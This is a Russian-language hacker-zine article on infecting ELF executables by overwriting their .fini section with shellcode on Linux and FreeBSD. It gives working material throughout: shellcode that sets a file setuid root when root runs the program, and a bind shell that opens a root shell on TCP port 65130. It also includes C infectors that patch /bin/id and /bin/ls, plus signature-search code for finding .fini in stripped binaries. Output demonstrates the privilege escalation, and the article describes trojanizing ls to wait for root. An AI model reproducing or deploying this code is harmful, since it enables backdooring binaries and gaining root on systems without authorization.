-= fini infect =-
content:
[0] about
[1] proof of concept
[2] elf section headerz
[3] signature search
~~ [0] about ~~
В одном из прошлых номеров упоминалась возможность инфецирования файлов
через секцию dtors. А я тут случайно обнаружил такую секцию, как .fini. Её
генерит gcc и она вызывается после работы проги для какой-то там хрени,
которая уже никого не заботит вобщем-то.
Смотрим дамп:
804aa9f: 90 nop
804aaa0: 83 eb 04 sub $0x4,%ebx
804aaa3: ff d0 call *%eax
804aaa5: 8b 03 mov (%ebx),%eax
804aaa7: 83 f8 ff cmp $0xffffffff,%eax
804aaaa: 75 f4 jne 804aaa0 <geteuid@plt+0x1df8>
804aaac: 58 pop %eax
804aaad: 5b pop %ebx
804aaae: 5d pop %ebp
804aaaf: c3 ret
0804aab0 <.fini>:
804aab0: 55 push %ebp
804aab1: 89 e5 mov %esp,%ebp
804aab3: 53 push %ebx
804aab4: 83 ec 04 sub $0x4,%esp
804aab7: e8 56 e2 ff ff call 8048d12 <geteuid@plt+0x6a>
804aabc: 81 c3 7c 1c 00 00 add $0x1c7c,%ebx
804aac2: e8 59 e2 ff ff call 8048d20 <geteuid@plt+0x78>
804aac7: 5a pop %edx
804aac8: 5b pop %ebx
804aac9: 5d pop %ebp
804aaca: c3 ret
Поэтому я решил проверить - а что если в секцию .fini записать свой код?
Как ни странно всё отлично прокатило. Единственный минус - не так много места
и уже спущеная часть регистров. Но для нормального шеллкода вполне неплохо.
Для примера напишем софтину - которая будет инфецировать секцию .fini
указанного бинарника. Код например должен делать такую полезную вещь
проверять euid юзера, и если это рут - делать chown root.root и chmod 4755 на
какой-нить файл типа шелла. Например мы заразили так ls. Заходим в систему,
рут пока лазает себе и не подозревает ничего. Создаём файл, на который наш
хеллкод в заражённой проге будет ставить +SUID и ждём. благо ls вызывается оч
часто, мы весьма скоро получаем рут шелл. Быстро юзаем его и сливаем, ну это
например. А вообще способов применения тьма. Перейдём к практике.
~~ [1] proof of concept ~~
Начнём, как водится, с написания шеллкода. Вот такого например (Linux/x86):
.global _start
_start:
# geteuid
cdq
push $49
pop %eax
int $128
# is euid == 0 ?
cmp %eax, %edx
jne xt
# chown root.root file
mov %eax, %ecx
push $16
pop %eax
jmp ad
dm:
pop %ebx
int $0x80
# chmod 4755 file
movw $04755, %cx
mov $15, %al
int $128
xt:
# exit
push $1
pop %eax
int $128
ad:
call dm
.asciz "/tmp/zash"
А в дампе это чудо выглядит вот так:
00000000 <_start>:
0: 99 cltd
1: 6a 31 push $0x31
3: 58 pop %eax
4: cd 80 int $0x80
6: 39 c2 cmp %eax,%edx
8: 75 12 jne 1c <xt>
a: 89 c1 mov %eax,%ecx
c: 6a 10 push $0x10
e: 58 pop %eax
f: eb 10 jmp 21 <ad>
00000011 <dm>:
11: 5b pop %ebx
12: cd 80 int $0x80
14: 66 b9 ed 09 mov $0x9ed,%cx
18: b0 0f mov $0xf,%al
1a: cd 80 int $0x80
0000001c <xt>:
1c: 6a 01 push $0x1
1e: 58 pop %eax
1f: cd 80 int $0x80
00000021 <ad>:
21: e8 eb ff ff ff call 11 <dm>
26: 2f das
27: 74 6d je 96 <ad+0x75>
29: 70 2f jo 5a <ad+0x39>
2b: 7a 61 jp 8e <ad+0x6d>
2d: 73 68 jae 97 <ad+0x76>
Для примера напишем простой инфектор, который принимает путь к файлу и
оффсет в качестве параметров на входе и вшивает наш код в файл. Вот такой вот
инфектор:
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
char hell[] =
"\x99\x6a\x31\x58\xcd\x80\x39\xc2\x75\x12\x89\xc1\x6a\x10"
"\x58\xeb\x10\x5b\xcd\x80\x66\xb9\xed\x09\xb0\x0f\xcd\x80"
"\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff/tmp/zash";
int main(int argc, char *argv[])
{
int fd, k;
unsigned int addr = 0, offs;
if (argc < 3)
{
printf("Usage: %s <file> <addr>\n", argv[0]);
return 0;
}
sscanf(argv[2], "%x", &addr);
offs = addr - 0x08048000;
printf("[+] using offset 0x%x\n", offs);
fd = open(argv[1], O_WRONLY);
if (fd < 0)
{
printf("[-] cant open %s\n", argv[1]);
return 0;
}
printf("[+] infecting %s\n", argv[1]);
lseek(fd, offs, 0);
write(fd, &hell, strlen(hell)+1);
close(fd);
printf("[+] %i bytes writen done\n", strlen(hell));
return 0;
}
Юзаем:
# gcc -o inf inf.c
# objdump -d /bin/id | grep -a "<fini>:"
0804aab0 <.fini>:
# ./inf /bin/id 0x0804aab0
[+] using offset 0x2ab0
[+] infecting /bin/id
[+] 49 bytes writen done
#
Гатова =) На самом деле записываем не 49, а 50 байт, ибо в конце строки
"/tmp/zash" нужен ноль. Дальше тест:
$ id
uid=13(dead) gid=52(other) groups=52(other)
$ cat sh.c
#include <stdio.h>
int main()
{
setuid(geteuid());
execl("/bin/sh", "sh", 0);
return 0;
}
$ gcc -o /tmp/zash sh.c
$ ls -l /tmp/zash
total 42
drwxrwxrwt 4 sys sys 234 Dec 21 10:22 .
drwxr-xr-x 26 root root 1024 Dec 21 08:10 ..
drwxrwxrwx 2 root root 107 Dec 14 18:51 .pcmcia
...
-rwxr-xr-x 1 dead other 2924 Dec 21 10:22 zash
...
с другой консоли под рутом запускаем заражённый файл
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -l /tmp/zash
-rwsr-xr-x 1 root root 2924 Dec 21 10:22 zash
и наконец с непривилегированного шелла проверяем:
$ /tmp/zash
# id
uid=0(root) gid=52(other) groups=52(other)
# yahoo
Ибо ELF+LIBC весьма стандартны, глянем можно ли инфектить .fini в FreeBSD.
Для начала посмотрим дамп какого-нить бинарника (пусть это будет /bin/ls):
# objdump -d /bin/ls
...
807b97e: c3 ret
807b97f: 90 nop
807b980: 55 push %ebp
807b981: 89 e5 mov %esp,%ebp
807b983: 83 ec 08 sub $0x8,%esp
807b986: c9 leave
807b987: c3 ret
...
Disassembly of section .fini:
0807ba10 <.fini>:
807ba10: e8 3b c7 fc ff call 0x8048150
807ba15: c3 ret
Всего шесть байт. Маловато будет.. а хотя.. посмотрим таблицу секций:
/bin/ls: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .init 0000000b 080480ac 080480ac 000000ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .text 00033956 080480b8 080480b8 000000b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
2 .fini 00000006 0807ba10 0807ba10 00033a10 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
3 .rodata 00010bac 0807ba20 0807ba20 00033a20 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .data 0000172c 0808d5e0 0808d5e0 000445e0 2**5
CONTENTS, ALLOC, LOAD, DATA
5 .eh_frame 00000004 0808ed0c 0808ed0c 00045d0c 2**2
CONTENTS, ALLOC, LOAD, DATA
6 .ctors 00000008 0808ed10 0808ed10 00045d10 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .dtors 00000008 0808ed18 0808ed18 00045d18 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .bss 0000a890 0808ed20 0808ed20 00045d20 2**5
ALLOC
9 .comment 0000286c 00000000 00000000 00045d20 2**0
CONTENTS, READONLY
10 .note 0000111c 00000000 00000000 0004858c 2**0
CONTENTS, READONLY
11 .note.ABI-tag 00000018 08048094 08048094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
Итого 6 байт, следом идёт секция .rodata. Расстояние между ними 16 байт,
но всё равно этого маловато для полноценного стафа. В rodata лежат строковые
константы и куча нулей. Сперва идёт копирайт FreeBSD и инфа о версии, ну и
так далее. Поэтому попробуем впихнуть в .fini какой-нить большой код. Такой к
примеру:
bind: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: 31 c0 xor %eax,%eax
8048076: 89 c3 mov %eax,%ebx
8048078: 6a 02 push $0x2
804807a: 50 push %eax
804807b: cd 80 int $0x80
804807d: 39 c3 cmp %eax,%ebx
804807f: 75 73 jne 80480f4 <exit>
8048081: 31 c0 xor %eax,%eax
8048083: 6a 06 push $0x6
8048085: 6a 01 push $0x1
8048087: 6a 02 push $0x2
8048089: 6a 61 push $0x61
804808b: 50 push %eax
804808c: cd 80 int $0x80
804808e: 89 c2 mov %eax,%edx
8048090: 31 c0 xor %eax,%eax
8048092: 66 50 push %ax
8048094: 50 push %eax
8048095: 66 68 fe 6a pushw $0x6afe
8048099: 66 6a 02 pushw $0x2
804809c: 89 e1 mov %esp,%ecx
804809e: 6a 10 push $0x10
80480a0: 51 push %ecx
80480a1: 52 push %edx
80480a2: 6a 68 push $0x68
80480a4: 50 push %eax
80480a5: cd 80 int $0x80
80480a7: 31 c0 xor %eax,%eax
80480a9: 50 push %eax
80480aa: 52 push %edx
80480ab: 6a 6a push $0x6a
80480ad: 50 push %eax
80480ae: cd 80 int $0x80
80480b0: 31 c0 xor %eax,%eax
80480b2: 50 push %eax
80480b3: 50 push %eax
80480b4: 52 push %edx
80480b5: 6a 1e push $0x1e
80480b7: 50 push %eax
80480b8: cd 80 int $0x80
80480ba: 89 c1 mov %eax,%ecx
80480bc: 31 c0 xor %eax,%eax
80480be: 6a 02 push $0x2
80480c0: 51 push %ecx
80480c1: 6a 5a push $0x5a
80480c3: 50 push %eax
80480c4: cd 80 int $0x80
80480c6: 31 c0 xor %eax,%eax
80480c8: 6a 01 push $0x1
80480ca: 51 push %ecx
80480cb: 6a 5a push $0x5a
80480cd: 50 push %eax
80480ce: cd 80 int $0x80
80480d0: 31 c0 xor %eax,%eax
80480d2: 50 push %eax
80480d3: 51 push %ecx
80480d4: 6a 5a push $0x5a
80480d6: 50 push %eax
80480d7: cd 80 int $0x80
80480d9: 31 c0 xor %eax,%eax
80480db: 50 push %eax
80480dc: 68 6e 2f 73 68 push $0x68732f6e
80480e1: 68 2f 2f 62 69 push $0x69622f2f
80480e6: 89 e3 mov %esp,%ebx
80480e8: 50 push %eax
80480e9: 53 push %ebx
80480ea: 89 e2 mov %esp,%edx
80480ec: 50 push %eax
80480ed: 52 push %edx
80480ee: 53 push %ebx
80480ef: 6a 3b push $0x3b
80480f1: 50 push %eax
80480f2: cd 80 int $0x80
080480f4 <exit>:
80480f4: 31 c0 xor %eax,%eax
80480f6: 50 push %eax
80480f7: 6a 01 push $0x1
80480f9: 50 push %eax
80480fa: cd 80 int $0x80
В инклудах лежит утилита shc_grab.c с помощью которой можно перегнать
бинаный код в сишный дамп. На выходе получаем файл shellcode.h :
# gcc -o shc_grab shc_grab.c
# ./shc_grab ./bind 0x74
[+] using offset 0x74
[+] done. shellcode size = 136
# cat shellcode.h
char shellcode[] =
"\x31\xc0\x89\xc3\x6a\x02\x50\xcd\x80\x39\xc3\x75\x73\x31"
"\xc0\x6a\x06\x6a\x01\x6a\x02\x6a\x61\x50\xcd\x80\x89\xc2"
"\x31\xc0\x66\x50\x50\x66\x68\xfe\x6a\x66\x6a\x02\x89\xe1"
"\x6a\x10\x51\x52\x6a\x68\x50\xcd\x80\x31\xc0\x50\x52\x6a"
"\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\x6a\x1e\x50\xcd\x80"
"\x89\xc1\x31\xc0\x6a\x02\x51\x6a\x5a\x50\xcd\x80\x31\xc0"
"\x6a\x01\x51\x6a\x5a\x50\xcd\x80\x31\xc0\x50\x51\x6a\x5a"
"\x50\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x6a\x3b\x50"
"\xcd\x80\x31\xc0\x50\x6a\x01\x50\xcd\x80";
Для вндрения можно взять такой код:
#include <stdio.h>
#include <fcntl.h>
#include "shellcode.h"
int main()
{
int fd;
fd = open(PROG, O_WRONLY);
lseek(fd, OFFS, 0);
write(fd, shellcode, sizeof(shellcode));
close(fd);
return 0;
}
Попробуем:
# objdump -h /bin/ls | grep fini
2 .fini 00000006 0807ba10 0807ba10 00033a10 2**2
# gcc -o patcher -DPROG=/bin/ls -DOFFS=0x33a10 patcher.c
# ./patcher
# objdump -d -j .fini /bin/ls
0807ba10 <.fini>:
807ba10: 31 c0 xor %eax,%eax
807ba12: 89 c3 mov %eax,%ebx
807ba14: 6a 02 push $0x2
#
Дамп показывает только 6 байт, хотя записалось больше. Дело в том, что на
секцию .fini стоит флаг CODE, а на .rodata - DATA. Тоесть по идее в .rodata
код выполняться не должен. Тем не менее, проверим. Если всё верно, то шеллкод
должен вывесить рутшелл на tcp-порту 65130.
# ls
patcher patcher.c shellcode.h
# telnet 127.0.0.1 65130
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
^]
Всё работает. Увы с сигнатурами в FreeBSD туго, ибо искать 6 байт, 4 из
которых это адрес - не эффективно. Как вариант, можно искать секцию .rodata
~~ [2] elf section headerz ~~
Чтобы инфецировать fini, неплохо бы уметь находить оффсет к ней. Первый и
самый банальный способ - objdump:
# objdump -h /bin/ls
/bin/ls: формат файла elf32-i386
Разделы:
Инд Имя Размер VMA LMA Файл Вырав
0 .interp 00000013 08048134 08048134 00000134 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 00000284 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 000005c0 080483ec 080483ec 000003ec 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 000003e0 080489ac 080489ac 000009ac 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 000000b8 08048d8c 08048d8c 00000d8c 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000090 08048e44 08048e44 00000e44 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000028 08048ed4 08048ed4 00000ed4 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 000002a0 08048efc 08048efc 00000efc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000017 080491a0 080491a0 000011a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000550 080491b8 080491b8 000011b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 0000b7b0 08049710 08049710 00001710 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001b 08054ec0 08054ec0 0000cec0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00003a18 08054ee0 08054ee0 0000cee0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame_hdr 0000002c 080588f8 080588f8 000108f8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame 0000009c 08058924 08058924 00010924 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .ctors 00000008 08059000 08059000 00011000 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 00000008 08059008 08059008 00011008 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .jcr 00000004 08059010 08059010 00011010 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .dynamic 000000d0 08059014 08059014 00011014 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 00000008 080590e4 080590e4 000110e4 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got.plt 0000015c 080590ec 080590ec 000110ec 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .data 0000010c 08059260 08059260 00011260 2**5
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000430 08059380 08059380 0001136c 2**5
ALLOC
24 .comment 0000029a 00000000 00000000 0001136c 2**0
CONTENTS, READONLY
Оффсет соответственно 0x0cec0, вот из FreeBSD таблица для /bin/ls :
/bin/ls: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .init 0000000b 080480ac 080480ac 000000ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .text 00033956 080480b8 080480b8 000000b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
2 .fini 00000006 0807ba10 0807ba10 00033a10 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
3 .rodata 00010bac 0807ba20 0807ba20 00033a20 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .data 0000172c 0808d5e0 0808d5e0 000445e0 2**5
CONTENTS, ALLOC, LOAD, DATA
5 .eh_frame 00000004 0808ed0c 0808ed0c 00045d0c 2**2
CONTENTS, ALLOC, LOAD, DATA
6 .ctors 00000008 0808ed10 0808ed10 00045d10 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .dtors 00000008 0808ed18 0808ed18 00045d18 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .bss 0000a890 0808ed20 0808ed20 00045d20 2**5
ALLOC
9 .comment 0000286c 00000000 00000000 00045d20 2**0
CONTENTS, READONLY
10 .note 0000111c 00000000 00000000 0004858c 2**0
CONTENTS, READONLY
11 .note.ABI-tag 00000018 08048094 08048094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
Теперь попробуем автоматизировать процесс, будем находить секцию .fini
автоматически. Суть в том что у .fini будет фиксированный размер. Стало быть
секцию эту можно найти по размеру (0x1b для Linux и 0x06 для FreeBSD).
Алгоритм такой: из elf заголовка вытягиваем адрес табилцы секций, и
проходимся по ней, проверяя размер. Програмную секцию размером в 6 байт
трудно перепутать с чем-то, так что в freebsd всё сравнительно легко =) Вот
код:
/* get offset 2 .fini section on x86 */
/* types: */
/* 0x06 - FreeBSD/x86 */
/* 0x1b - Linux/x86 */
#include <stdio.h>
#include <fcntl.h>
#include <elf.h>
int main(int argc, char *argv[])
{
int i,fd;
Elf32_Ehdr ph;
Elf32_Shdr chk;
if (argc < 2)
{
printf("usage: %s <file>\n", argv[0]);
return 0;
}
fd = open(argv[1], O_RDONLY);
read(fd, &ph, sizeof(Elf32_Ehdr));
lseek(fd, ph.e_shoff, 0);
for(i=0; i<ph.e_shnum; i++)
{
read(fd, &chk, sizeof(Elf32_Shdr));
if (chk.sh_size == 0x06 || chk.sh_size == 0x1b)
printf(".fini offset = 0x%x\n", chk.sh_offset);
}
close(fd);
return 0;
}
~~ [3] signature search ~~
Увы, такие утилиты как sstrip вырезают символьные секции и их заголовки из
бинарника, так что найти оффсет к .fini с помощью описанных выше методов
будет не легко. Решение - поиск .fini по сигнатуре. Для начала о Linux.
Просмотрев дампы многих бинарников, можно убедится что 80% из них в _fini
имеют примерно такой вид:
0804aab0 <.fini>:
804aab0: 55 push %ebp
804aab1: 89 e5 mov %esp,%ebp
804aab3: 53 push %ebx
804aab4: 83 ec 04 sub $0x4,%esp
804aab7: e8 56 e2 ff ff call 8048d12 <geteuid@plt+0x6a>
804aabc: 81 c3 7c 1c 00 00 add $0x1c7c,%ebx
804aac2: e8 59 e2 ff ff call 8048d20 <geteuid@plt+0x78>
804aac7: 5a pop %edx
804aac8: 5b pop %ebx
804aac9: 5d pop %ebp
804aaca: c3 ret
Дамп можно разбить на 3 части - первая и третья неизменны, во второй в
разных бинарниках разные адреса вызовов. Поэтому в качестве сигнатуры, опять
так по наблюдениям дампов, вполне сгодятся
0x83 0xec 0x04 - первая часть
... 16 байт под вызовы
0x5a 0x5b - вторая часть
Ну а написать прогу, которая будет находить данную сигнатуру в заданном
файле для хаксора - пара пустяков =) Вот наш варинат:
/* seek .fini section on Linux/x86 */
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
char hell[] =
"\x99\x6a\x31\x58\xcd\x80\x39\xc2\x75\x12\x89\xc1\x6a\x10"
"\x58\xeb\x10\x5b\xcd\x80\x66\xb9\xed\x09\xb0\x0f\xcd\x80"
"\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff/tmp/zash";
unsigned char sig1[] = "\x83\xec\x04";
unsigned char sig2[] = "\x5a\x5b\x5d\xc3";
#define SKIP2 0x10
#define BACK2 0x07
int check_offs(int fd)
{
unsigned char a;
lseek(fd, SKIP2, 1);
read(fd, &a, 1);
if (a != sig2[0]) return 0;
read(fd, &a, 1);
if (a != sig2[1]) return 0;
read(fd, &a, 1);
if (a != sig2[2]) return 0;
return 1;
}
int main(int argc, char *argv[])
{
int i,fd;
unsigned int offs;
unsigned char a;
if (argc < 2)
{
printf("usage: %s <file>\n", argv[0]);
return 0;
}
if (argc > 2)
{
sscanf(argv[2],"%x", &offs);
offs -= 0x08048000;
printf("theory addr = 0x%x\n", offs);
}
fd = open(argv[1], O_RDONLY);
if (fd < 0)
{
perror("open");
return 0;
}
i = offs = 0;
while( read(fd, &a, 1) == 1)
{
offs++;
if (a == sig1[i]) i++;
else i = 0;
if (i == 3)
{
if (check_offs(fd)) break;
offs += 17;
i = 0;
}
}
offs -= BACK2;
if (i != 3)
{
printf("<_fini> not found\n");
return 0;
}
printf("offset <_fini>: 0x%x\n", offs);
close(fd);
fd = open(argv[1], O_WRONLY);
lseek(fd, offs, 0);
write(fd, &hell, strlen(hell)+1);
close(fd);
return 0;
}
# gcc -o infect infect.c
# ./infect /bin/id
offset <_fini>: 0x2ab0
# heh infected
Теперь сложнее - FreeBSD. Всего 6 байт из которых 4 - это адрес, который в
разных бинарниках разный. Попробуем поискать иначе. Уже говорилось выше, что
после .fini часто идёт секция .rodata, в которой хранятся строковые
константы. Посмотрим что в ней хранится:
# objdump -s -j .fini ./ls
./ls: file format elf32-i386
Contents of section .rodata:
804bbe0 00000000 00000000 00000000 00000000 ................
804bbf0 00000000 00000000 00000000 00000000 ................
804bc00 40282329 20436f70 79726967 68742028 @(#) Copyright (
804bc10 63292031 3938392c 20313939 332c2031 c) 1989, 1993, 1
804bc20 3939340a 09546865 20526567 656e7473 994..The Regents
804bc30 206f6620 74686520 556e6976 65727369 of the Universi
804bc40 7479206f 66204361 6c69666f 726e6961 ty of California
804bc50 2e202041 6c6c2072 69676874 73207265 . All rights re
804bc60 73657276 65642e0a 0000434f 4c554d4e served....COLUMN
804bc70 53000000 00000000 00000000 00000000 S...............
804bc80 31414243 4647484c 50525457 61626364 1ABCFGHLPRTWabcd
804bc90 66676869 6b6c6d6e 6f707172 73747577 fghiklmnopqrstuw
804bca0 7800434c 49434f4c 4f520043 4c49434f x.CLICOLOR.CLICO
804bcb0 4c4f525f 464f5243 45005445 524d0041 LOR_FORCE.TERM.A
804bcc0 46004142 006d6500 6d64006f 70006f63 F.AB.me.md.op.oc
804bcd0 004c5343 4f4c4f52 53000000 4c930408 .LSCOLORS...L...
804bce0 f8950408 f8950408 f8950408 f8950408 ................
804bcf0 f8950408 f8950408 f8950408 f8950408 ................
804bd00 f8950408 f8950408 f8950408 f8950408 ................
804bd10 f8950408 f8950408 f8950408 a3940408 ................
804bd20 70930408 94930408 f8950408 f8950408 p...............
804bd30 38940408 5c940408 54940408 f8950408 8...\...T.......
804bd40 f8950408 f8950408 78940408 f8950408 ........x.......
804bd50 f8950408 f8950408 84940408 f8950408 ................
804bd60 90940408 f8950408 94950408 f8950408 ................
804bd70 f8950408 ac950408 f8950408 f8950408 ................
804bd80 f8950408 f8950408 f8950408 f8950408 ................
804bd90 f8950408 f8950408 f8950408 a0940408 ................
...
После инфецирования получается так:
./ls: file format elf32-i386
Contents of section .rodata:
804bbe0 cd8089c2 31c06650 506668fe 6a666a02 ....1.fPPfh.jfj.
804bbf0 89e16a10 51526a68 50cd8031 c050526a ..j.QRjhP..1.PRj
804bc00 6a50cd80 31c05050 526a1e50 cd8089c1 jP..1.PPRj.P....
804bc10 31c06a02 516a5a50 cd8031c0 6a01516a 1.j.QjZP..1.j.Qj
804bc20 5a50cd80 31c05051 6a5a50cd 8031c050 ZP..1.PQjZP..1.P
804bc30 686e2f73 68682f2f 626989e3 505389e2 hn/shh//bi..PS..
804bc40 5052536a 3b50cd80 31c0506a 0150cd80 PRSj;P..1.Pj.P..
804bc50 00202041 6c6c2072 69676874 73207265 . All rights re
804bc60 73657276 65642e0a 0000434f 4c554d4e served....COLUMN
804bc70 53000000 00000000 00000000 00000000 S...............
804bc80 31414243 4647484c 50525457 61626364 1ABCFGHLPRTWabcd
804bc90 66676869 6b6c6d6e 6f707172 73747577 fghiklmnopqrstuw
804bca0 7800434c 49434f4c 4f520043 4c49434f x.CLICOLOR.CLICO
804bcb0 4c4f525f 464f5243 45005445 524d0041 LOR_FORCE.TERM.A
804bcc0 46004142 006d6500 6d64006f 70006f63 F.AB.me.md.op.oc
804bcd0 004c5343 4f4c4f52 53000000 4c930408 .LSCOLORS...L...
804bce0 f8950408 f8950408 f8950408 f8950408 ................
804bcf0 f8950408 f8950408 f8950408 f8950408 ................
804bd00 f8950408 f8950408 f8950408 f8950408 ................
804bd10 f8950408 f8950408 f8950408 a3940408 ................
804bd20 70930408 94930408 f8950408 f8950408 p...............
804bd30 38940408 5c940408 54940408 f8950408 8...\...T.......
804bd40 f8950408 f8950408 78940408 f8950408 ........x.......
Суть поиска такая - ищем какую-нибудь сигнатуру среди строк. А потом идём
назад до ret-a (0xc3). Это и будет .fini, ибо эта секция как раз и граничит
всегда со строками. Как видно из дампа, в FreeBSD компилер вкручивает свой
тэг в массив строк: @(#) Copyright... Как показала практика, поиск по
сигнатуре "@(#) C" вполне неплох. Реализация:
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "shellcode.h"
unsigned int offs;
unsigned char sig[] = "@(#) C";
#define BACK2 0x0a
int check_offs(int fd)
{
unsigned int cnt;
unsigned char a;
lseek(fd, -5, 1);
read(fd, &a, 1);
for (cnt=0; cnt< 0xf000; cnt++)
{
if (a == 0xc3) break;
lseek(fd, -2, 1);
read(fd, &a, 1);
}
if (a != 0xc3) return 0;
offs -= cnt;
return 1;
}
int main(int argc, char *argv[])
{
int i,fd;
unsigned int bak;
unsigned char a;
if (argc < 2)
{
printf("usage: %s <file>\n", argv[0]);
return 0;
}
if (argc > 2)
{
sscanf(argv[2],"%x", &offs);
offs -= 0x08048000;
printf("theory addr = 0x%x\n", offs);
}
fd = open(argv[1], O_RDONLY);
if (fd < 0)
{
perror("open");
return 0;
}
i = offs = 0;
while( read(fd, &a, 1) == 1)
{
offs++;
if (a == sig[i]) i++;
else i = 0;
if (i == 6) break;
}
if (i == 6)
if (check_offs(fd)) i = 13;
offs -= BACK2;
if (i != 13)
{
printf("<.fini> not found\n");
return 0;
}
printf("offset <.fini>: 0x%x\n", offs);
close(fd);
fd = open(argv[1], O_WRONLY);
lseek(fd, offs, 0);
write(fd, &shellcode, strlen(shellcode)+1);
close(fd);
return 0;
}
Ну вот собственно и всё, что хотелось сказать по этому поводу. Область
применения весьма богата, исходники к стотье - в инклудах.